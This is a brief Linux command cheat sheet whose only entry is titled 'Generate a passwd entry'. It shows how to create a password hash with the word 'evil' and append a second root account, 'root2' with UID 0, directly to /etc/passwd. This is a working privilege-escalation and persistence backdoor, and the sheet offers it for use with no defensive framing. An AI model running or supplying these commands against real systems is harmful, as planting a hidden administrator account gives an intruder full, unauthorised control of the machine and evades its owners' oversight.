Collection of Useful Commands - Linux

Generate a passwd entry:

openssl passwd evil
echo "root2:<generated_password>:0:0:root:/root:/bin/bash" >> /etc/passwd